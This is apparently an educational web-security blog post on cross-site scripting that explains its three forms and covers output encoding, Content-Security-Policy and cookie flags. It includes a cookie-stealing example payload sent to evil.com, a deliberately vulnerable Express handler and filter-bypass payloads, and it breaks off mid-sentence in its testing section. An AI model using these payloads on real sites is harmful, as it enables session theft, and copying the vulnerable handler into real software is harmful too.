arrow_backBack to field notes
WEB SECURITY Published 9 Aug 2026

Cross-Site Scripting: Why XSS Still Bites in 2024

A practical breakdown of reflected, stored, and DOM-based XSS, how attackers exploit them, and how to actually stop them.

XSS has been on the OWASP Top 10 for two decades and it's still one of the first things a pentester checks. The bug is simple to explain and annoying to fully close: an attacker gets their JavaScript to run in a victim's browser under your site's origin. Once that happens, they can read cookies, forge requests, or just rewrite the page in front of the user.

The three flavors

Reflected XSS is the classic phishing-link attack. A search page takes ?q= from the URL and prints it straight into the HTML without encoding. Send someone a link like https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> and if they click it while logged in, their session cookie goes to the attacker.

Stored XSS is worse because it doesn't need a link at all. A comment field, a profile bio, a support ticket description — anywhere user input gets saved and later rendered to other users. Post the payload once and every visitor who views that page gets hit, no social engineering required.

DOM-based XSS lives entirely in client-side code. The server never sees the malicious payload; it's JavaScript reading something like location.hash or document.referrer and shoving it into innerHTML or eval(). This one trips people up because server-side logging looks completely clean.

Where it actually comes from

Most XSS bugs boil down to one mistake: treating untrusted data as trusted markup or code. Common sinks to watch for in JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout with a string argument, and jQuery's .html(). On the server side, template engines that don't auto-escape by default (raw string concatenation into HTML) are the usual culprit.

A quick real-world example: a Node/Express app doing

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

has an immediate reflected XSS. req.query.name goes straight into the response with zero encoding. Anyone hitting /greet?name=<img src=x onerror=alert(document.domain)> proves it in about two seconds.

Fixing it for real

Context-aware output encoding is the actual fix, not a workaround. HTML body, HTML attribute, JavaScript string, and URL contexts each need different encoding rules — a library like OWASP's Java Encoder, or built-in auto-escaping in template engines like Jinja2, React JSX, or Handlebars, handles this correctly. React in particular escapes text content by default, which is why dangerouslySetInnerHTML is named the way it is: it's a warning label.

Input validation helps but isn't sufficient on its own. Denylisting <script> tags gets bypassed constantly — <img src=x onerror=...>, <svg onload=...>, or event handlers on nearly any tag all work. Allowlisting expected formats (an email regex, a numeric ID) is fine as a secondary layer, but it doesn't replace proper output encoding.

Content-Security-Policy is the strongest defense-in-depth layer available. A policy like

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

blocks inline scripts and third-party script sources unless explicitly nonce'd or allowlisted, which stops most XSS payloads from executing even if they slip past encoding. Avoid unsafe-inline and unsafe-eval in production CSPs; they defeat most of the protection.

Set cookies with HttpOnly and Secure flags so even a successful XSS can't read the session cookie directly through document.cookie. It doesn't stop the injection but it limits the blast radius considerably.

Testing for it yourself

Burp Suite's active scanner catches a lot of reflected and stored XSS automatically, but manual testing still matters for DOM-based cases. Tools like DOMPurify's own test suite or simply grepping your codebase for innerHTML = and eval( will surface a surprising number of findings fast. For a manual probe, the payload `

Written with AI assistance, reviewed and published by Michal Pilch (CISSP), Korra Studio.

Ready to go further?

This is one note from the Korra Studio knowledge base — the platform pairs every topic with 1-to-1 mentoring.

Get started freearrow_forward